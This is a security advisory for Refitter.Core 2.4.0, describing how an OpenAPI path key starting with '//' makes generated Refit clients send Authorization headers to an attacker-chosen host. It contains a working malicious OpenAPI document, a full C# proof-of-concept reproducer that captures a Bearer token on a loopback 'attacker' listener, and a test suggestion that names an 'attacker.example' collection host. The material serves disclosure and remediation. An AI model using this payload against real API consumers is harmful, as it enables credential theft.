Skip to main content
Menu
Advisories

OpenAPI Network-Path Operation Routes Leak Refit Authorization to Attacker-Controlled Hosts

GHSA-7HGJ-Q592-V892Published Updated GitHub

Description

OpenAPI Network-Path Operation Routes Leak Refit Authorization to Attacker-Controlled Hosts

Summary

With NuGet package Refitter.Core 2.4.0, a valid OpenAPI 3.0.3 operation path key beginning with // is emitted as a Refit route that replaces the configured HTTP authority when the generated client is invoked. A compiled consumer that supplies an Authorization value to the generated method sends that credential to the authority named by the OpenAPI document. The package-bound /probe control sent the same credential only to the configured API listener.

Technical Details

The public RefitGenerator.CreateAsync API loads the OpenAPI document and returns the generator; Generate() produces the client source. The pinned OpenApiDocumentFactory.CreateAsync also accepts an HTTP URL as OpenApiPath and downloads that top-level document, so an attacker can host the supplied specification; remote $ref resolution is not needed. In InterfaceGenerator.GenerateMethod, Refitter copies op.Path to the operation model at line 275 and emits parameterList.Path into the Refit verb attribute at line 311. The tested path contains only URI path syntax, so it does not break out of a C# string literal. The generated route retained the network-path prefix.

OpenAPI 3.0.3 defines each Paths Object field as a relative endpoint path beginning with /, and says the path is appended to the server URL without relative URL resolution. RFC 3986 defines a relative reference beginning with // as a network-path reference whose authority replaces the base authority during URI resolution. Refitter accepts the tested //127.0.0.1:<port>/collect key, then the generated Refit client resolves it to the attacker's authority rather than preserving the configured API authority. The same result was reproduced with Refitter.Core 2.4.0 from NuGet, not only from a build of the pinned source checkout.

The attacker controls only the OpenAPI document. The package-bound reproduction used a local JSON document with AllowRemoteReferences = false; it did not require a remote $ref, a Refitter configuration override, or credentials available to Refitter itself. The downstream consumer supplied the credential when it invoked the generated method.

PoV

The attack document has one GET operation at a network-path key and declares the Authorization header that the generated method accepts. <ATTACKER_PORT> and <API_PORT> below stand for loopback ports dynamically allocated by the reproducer; the Appendix source binds both listeners to port 0 and inserts their assigned ports into the document and consumer.

{
  "openapi": "3.0.3",
  "info": { "title": "NetworkPathProbe", "version": "1.0.0" },
  "paths": {
    "//127.0.0.1:<ATTACKER_PORT>/collect": {
      "get": {
        "operationId": "GetProbe",
        "parameters": [
          {
            "name": "Authorization",
            "in": "header",
            "required": true,
            "schema": { "type": "string" }
          }
        ],
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "text/plain": { "schema": { "type": "string" } }
            }
          }
        }
      }
    }
  }
}

The consumer configured its API client with the API listener's base address and invoked the generated method with a test Bearer value:

var api = RestService.ForGenerated<GeneratedCode.INetworkPathProbe>(
    "http://127.0.0.1:<API_PORT>/");
await api.GetProbe("Bearer path-authority-secret");

For the control, the only OpenAPI change was replacing the path key with /probe; the client used the same configured API base-address pattern and Authorization value.

PoC

The package-bound reproduction targets .NET 11.0 and uses Refitter.Core 2.4.0 from NuGet and Refit 17.0.0. The project and C# source files below are sufficient to generate and invoke the client against dynamically allocated local listeners.

Save each Appendix source block to the matching path:

  • Reproducer.csproj → /work/reproducer/Reproducer.csproj
  • Program.cs → /work/reproducer/Program.cs
  • Consumer.csproj → /work/consumer/Consumer.csproj
  • ConsumerProgram.cs → /work/consumer-template/ConsumerProgram.cs

The reproducer reads the mapped consumer template from /work/consumer-template/ConsumerProgram.cs, fills in the generated API type and base address, and writes /work/consumer/Program.cs. The restore and run commands use the mapped project paths.

mkdir -p /work/reproducer /work/consumer /work/consumer-template
dotnet restore /work/reproducer/Reproducer.csproj -p:NuGetAudit=false
dotnet restore /work/consumer/Consumer.csproj -p:NuGetAudit=false
dotnet run --no-restore --project /work/reproducer/Reproducer.csproj -- attack
dotnet run --no-restore --project /work/reproducer/Reproducer.csproj -- control

The following abridged output shows the relevant lines from the package-bound reproduction. Both listeners passed their self-tests, both generated consumers built and ran, and the attack delivered the exact test credential to the attacker listener while the control delivered it only to the configured API listener.

Attack:

GENERATION=success route_preserved=True
CONSUMER_BUILD_EXIT=0
CONSUMER_EXIT=0
CONSUMER_CALL=completed
LISTENER_SELF_TEST api=True attacker=True
API_REQUEST_COUNT=0
ATTACKER_REQUEST_COUNT=1
ATTACKER_REQUEST=GET /collect HTTP/1.1 AUTHORIZATION=Bearer path-authority-secret

Control:

GENERATION=success route_preserved=True
CONSUMER_BUILD_EXIT=0
CONSUMER_EXIT=0
CONSUMER_CALL=completed
LISTENER_SELF_TEST api=True attacker=True
API_REQUEST_COUNT=1
API_REQUEST=GET /probe HTTP/1.1 AUTHORIZATION=Bearer path-authority-secret
ATTACKER_REQUEST_COUNT=0

Impact

A user who generates a client from an attacker-supplied OpenAPI document and later invokes the affected operation with an Authorization value can disclose that credential to an attacker-controlled host. This is CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): the caller-supplied Authorization credential is sensitive information, and an attacker-controlled authority is not authorized to receive it. The demonstrated boundary crossing is from an untrusted OpenAPI route into the consuming application's outbound request authority. Refitter itself does not need to hold the credential; the generated method receives it from its caller.

The conservative CVSS 3.1 vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N (7.4 High). The attacker can host or distribute the document over a network, needs no victim privileges, and needs only a valid network-path key. User interaction is required because a victim must process the document and invoke the generated operation. Scope is changed because the generated route affects the consuming application, and confidentiality is High because the tested Bearer credential is disclosed. No integrity or availability impact is claimed. The finding does not claim credential disclosure when no Authorization value is supplied, and the proof exercises one network-path route form on one version.

Suggested Fix

Preserve the configured Refit client authority when emitting every OpenAPI operation route. Reject route keys that Refit would resolve as a network-path or absolute URI, or construct the route so the OpenAPI path is appended to the configured server URL without changing its authority. Add a regression test that generates and invokes a client from a //attacker.example/collect path key with an Authorization value, verifies the request remains on the configured authority or generation rejects the key, and retains the /probe control.

Affected Package/Versions

  • Package: Refitter.Core (NuGet).
  • Confirmed affected version: 2.4.0, reproduced with the NuGet package; the pinned source revision bf77ef633cd182563748fd7828e2d06bb24e1dd5 was also tested.
  • The stated vulnerable version range is the exact tested version 2.4.0; other versions were not tested for this authority behavior.
  • No patched version for this authority behavior has been identified.

Advisory History

Related public Refitter advisories cover generated C# injection through several inputs. GHSA-3fhm-p725-h3g3 / CVE-2026-63345 concerns OpenAPI operation path values inserted into Refit attribute strings. GHSA-p32v-8v8j-j534 concerns content-type values emitted in Refit attributes, and GHSA-58x9-vjvp-6mx8 concerns header parameter names emitted in Refit attributes. GHSA-h924-jfhp-9vjr concerns schema-derived property and discriminator names, defaults, and enum values emitted into generated C# literals or declarations. The operation-path input overlaps with GHSA-3fhm-p725-h3g3, but that advisory concerns generated-source breakout: here the //authority path compiles as an attribute value and changes the request authority at runtime. The merged PR #1178 and commit 793d263 escape spec-derived attribute strings and validate breakout characters; this report's path contains no C# breakout syntax.

The ten related reports were ready for maintainer review; none had been submitted or marked complete without submission. They cover relative discriminator mappings causing out-of-tree schema disclosure; symlink-following writes to the CLI's default output; operation-key attribute identifier code injection; nested YAML references escaping the input-directory boundary; uppercase $REF bypassing the remote-reference guard; case-colliding OpenAPI references bypassing the default SSRF guard; case-variant $Ref keys bypassing the default reference guard; unescaped response status exposing local XML files; mixed-separator references bypassing the default SSRF guard; and case-variant $REF bypassing local reference confinement during source generation.

A negative trial with a URI-formatted /{target} path parameter showed that Refit encoded the supplied URI as one path segment and sent no request to the attacker listener. This report instead places the network-path reference in the OpenAPI operation path key itself.

Targeted public repository searches found no separate issue or fix for route-authority replacement; current development-head behavior was not tested.

References

Appendix: Reproducer Source

Save the following project and source blocks at the paths shown in the PoC commands. They form a package-bound reproduction using the exact Refitter.Core version listed above.

Reproducer.csproj

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net11.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Refitter.Core" Version="2.4.0" />
  </ItemGroup>
</Project>

Consumer.csproj

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net11.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Refit" Version="17.0.0" />
    <PackageReference Include="Refitter.Core" Version="2.4.0" />
  </ItemGroup>
</Project>

ConsumerProgram.cs

using Refit;

var api = RestService.ForGenerated<global::__API_TYPE__>("__BASE_ADDRESS__");
await api.GetProbe("Bearer path-authority-secret");
Console.WriteLine("CONSUMER_CALL=completed");

Program.cs

using System.Collections.Concurrent;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Text.Json;
using System.Text.RegularExpressions;
using Refitter.Core;

if (args.Length != 1 || args[0] is not ("control" or "attack"))
    throw new ArgumentException("expected control or attack");

var scenario = args[0];
const string token = "Bearer path-authority-secret";
var apiRequests = new ConcurrentQueue<RequestObservation>();
var attackerRequests = new ConcurrentQueue<RequestObservation>();
using var cancellation = new CancellationTokenSource();
using var apiListener = new TcpListener(IPAddress.Loopback, 0);
using var attackerListener = new TcpListener(IPAddress.Loopback, 0);
apiListener.Start();
attackerListener.Start();
var apiPort = ((IPEndPoint)apiListener.LocalEndpoint).Port;
var attackerPort = ((IPEndPoint)attackerListener.LocalEndpoint).Port;
var apiTask = AcceptRequests(apiListener, apiRequests, cancellation.Token);
var attackerTask = AcceptRequests(attackerListener, attackerRequests, cancellation.Token);
var apiSelfTest = await SelfTest(apiPort);
var attackerSelfTest = await SelfTest(attackerPort);
await Task.Delay(100);
Drain(apiRequests);
Drain(attackerRequests);

var workDirectory = Path.Combine("/work", "path-authority-" + Guid.NewGuid().ToString("N"));
var consumerDirectory = "/work/consumer";
Directory.CreateDirectory(workDirectory);
Directory.CreateDirectory(consumerDirectory);
var openApiPath = Path.Combine(workDirectory, "openapi.json");
var route = scenario == "attack"
    ? $"//127.0.0.1:{attackerPort}/collect"
    : "/probe";
var openApi = new
{
    openapi = "3.0.3",
    info = new { title = "NetworkPathProbe", version = "1.0.0" },
    paths = new Dictionary<string, object>
    {
        [route] = new
        {
            get = new
            {
                operationId = "GetProbe",
                parameters = new[]
                {
                    new
                    {
                        name = "Authorization",
                        @in = "header",
                        required = true,
                        schema = new { type = "string" }
                    }
                },
                responses = new Dictionary<string, object>
                {
                    ["200"] = new
                    {
                        description = "OK",
                        content = new Dictionary<string, object>
                        {
                            ["text/plain"] = new { schema = new { type = "string" } }
                        }
                    }
                }
            }
        }
    }
};
File.WriteAllText(openApiPath, JsonSerializer.Serialize(openApi), new UTF8Encoding(false));

var generationSucceeded = false;
var sourceContainsRoute = false;
var generationError = "";
var buildExitCode = -1;
var consumerExitCode = -1;
var consumerOutput = "";
try
{
    var generator = await RefitGenerator.CreateAsync(new RefitGeneratorSettings
    {
        OpenApiPath = openApiPath,
        AllowRemoteReferences = false
    });
    var generatedSource = generator.Generate();
    sourceContainsRoute = generatedSource.Contains(route, StringComparison.Ordinal);
    File.WriteAllText(Path.Combine(consumerDirectory, "Generated.cs"), generatedSource, new UTF8Encoding(false));
    var namespaceMatch = Regex.Match(
        generatedSource,
        @"^\s*namespace\s+([A-Za-z_][A-Za-z0-9_.]*)",
        RegexOptions.Multiline);
    var interfaceMatch = Regex.Match(
        generatedSource,
        @"^\s*public\s+(?:partial\s+)?interface\s+([A-Za-z_][A-Za-z0-9_]*)",
        RegexOptions.Multiline);
    if (!namespaceMatch.Success || !interfaceMatch.Success)
        throw new InvalidOperationException("generated client interface or namespace was not found");
    var consumerTemplate = File.ReadAllText("/work/consumer-template/ConsumerProgram.cs");
    var consumerProgram = consumerTemplate
        .Replace("__API_TYPE__", namespaceMatch.Groups[1].Value + "." + interfaceMatch.Groups[1].Value, StringComparison.Ordinal)
        .Replace("__BASE_ADDRESS__", $"http://127.0.0.1:{apiPort}/", StringComparison.Ordinal);
    File.WriteAllText(Path.Combine(consumerDirectory, "Program.cs"), consumerProgram, new UTF8Encoding(false));
    Console.WriteLine($"GENERATED_API_TYPE={namespaceMatch.Groups[1].Value}.{interfaceMatch.Groups[1].Value}");
    generationSucceeded = true;
    Console.WriteLine($"GENERATION=success route_preserved={sourceContainsRoute}");

    var build = await RunProcess("dotnet", ["build", "--no-restore", "/work/consumer/Consumer.csproj"]);
    buildExitCode = build.ExitCode;
    Console.WriteLine("CONSUMER_BUILD_EXIT=" + build.ExitCode);
    if (build.ExitCode != 0)
    {
        generationError = "consumer build failed: " + build.Output;
    }
    else
    {
        var invocation = await RunProcess("dotnet", ["/work/consumer/bin/Debug/net11.0/Consumer.dll", $"http://127.0.0.1:{apiPort}/"]);
        consumerExitCode = invocation.ExitCode;
        consumerOutput = invocation.Output;
        Console.WriteLine($"CONSUMER_EXIT={invocation.ExitCode}");
        foreach (var line in invocation.Output.Split('\n').Where(line => line.Contains("CONSUMER_CALL", StringComparison.Ordinal)))
            Console.WriteLine(line.Trim());
    }
}
catch (Exception exception)
{
    generationError = exception.GetType().Name + ": " + exception.Message.Replace('\r', ' ').Replace('\n', ' ');
    Console.WriteLine("GENERATION=error " + generationError);
}

await Task.Delay(400);
var apiCaptured = apiRequests.ToArray();
var attackerCaptured = attackerRequests.ToArray();
Console.WriteLine($"LISTENER_SELF_TEST api={apiSelfTest} attacker={attackerSelfTest}");
Console.WriteLine($"API_REQUEST_COUNT={apiCaptured.Length}");
foreach (var request in apiCaptured)
    Console.WriteLine($"API_REQUEST={request.Line} AUTHORIZATION={request.Authorization}");
Console.WriteLine($"ATTACKER_REQUEST_COUNT={attackerCaptured.Length}");
foreach (var request in attackerCaptured)
    Console.WriteLine($"ATTACKER_REQUEST={request.Line} AUTHORIZATION={request.Authorization}");

cancellation.Cancel();
apiListener.Stop();
attackerListener.Stop();
await Task.WhenAll(apiTask, attackerTask);

async Task<bool> SelfTest(int port)
{
    using var client = new TcpClient();
    await client.ConnectAsync(IPAddress.Loopback, port);
    var stream = client.GetStream();
    var request = Encoding.ASCII.GetBytes(
        $"GET /self-test HTTP/1.1\r\nHost: 127.0.0.1:{port}\r\nConnection: close\r\n\r\n");
    await stream.WriteAsync(request);
    using var reader = new StreamReader(stream, Encoding.ASCII, false, 1024, leaveOpen: true);
    var statusLine = await reader.ReadLineAsync();
    while (!string.IsNullOrEmpty(await reader.ReadLineAsync()))
    {
    }
    _ = await reader.ReadToEndAsync();
    return statusLine?.StartsWith("HTTP/1.1 200", StringComparison.Ordinal) == true;
}

static async Task AcceptRequests(
    TcpListener listener,
    ConcurrentQueue<RequestObservation> requests,
    CancellationToken cancellationToken)
{
    while (!cancellationToken.IsCancellationRequested)
    {
        TcpClient client;
        try
        {
            client = await listener.AcceptTcpClientAsync(cancellationToken);
        }
        catch (OperationCanceledException)
        {
            break;
        }
        catch (SocketException) when (cancellationToken.IsCancellationRequested)
        {
            break;
        }

        using (client)
        {
            var stream = client.GetStream();
            using var reader = new StreamReader(stream, Encoding.ASCII, false, 1024, leaveOpen: true);
            var requestLine = await reader.ReadLineAsync(cancellationToken);
            string? authorization = null;
            while (true)
            {
                var header = await reader.ReadLineAsync(cancellationToken);
                if (string.IsNullOrEmpty(header))
                    break;
                if (header.StartsWith("Authorization:", StringComparison.OrdinalIgnoreCase))
                    authorization = header[(header.IndexOf(':') + 1)..].Trim();
            }
            if (requestLine is not null)
                requests.Enqueue(new RequestObservation(requestLine, authorization));

            var body = Encoding.UTF8.GetBytes("ok");
            var headerBytes = Encoding.ASCII.GetBytes(
                $"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: {body.Length}\r\nConnection: close\r\n\r\n");
            await stream.WriteAsync(headerBytes, cancellationToken);
            await stream.WriteAsync(body, cancellationToken);
            await stream.FlushAsync(cancellationToken);
        }
    }
}

static async Task<ProcessResult> RunProcess(string executable, IReadOnlyList<string> arguments)
{
    var start = new ProcessStartInfo
    {
        FileName = executable,
        WorkingDirectory = "/work",
        RedirectStandardOutput = true,
        RedirectStandardError = true,
        UseShellExecute = false
    };
    foreach (var argument in arguments)
        start.ArgumentList.Add(argument);
    using var process = Process.Start(start) ?? throw new InvalidOperationException("could not start " + executable);
    var stdout = process.StandardOutput.ReadToEndAsync();
    var stderr = process.StandardError.ReadToEndAsync();
    await process.WaitForExitAsync();
    return new ProcessResult(process.ExitCode, (await stdout) + (await stderr));
}

static void Drain(ConcurrentQueue<RequestObservation> requests)
{
    while (requests.TryDequeue(out _))
    {
    }
}

record RequestObservation(string Line, string? Authorization);
record ProcessResult(int ExitCode, string Output);

Affected versions

References

GitHub · christianhelle/refitter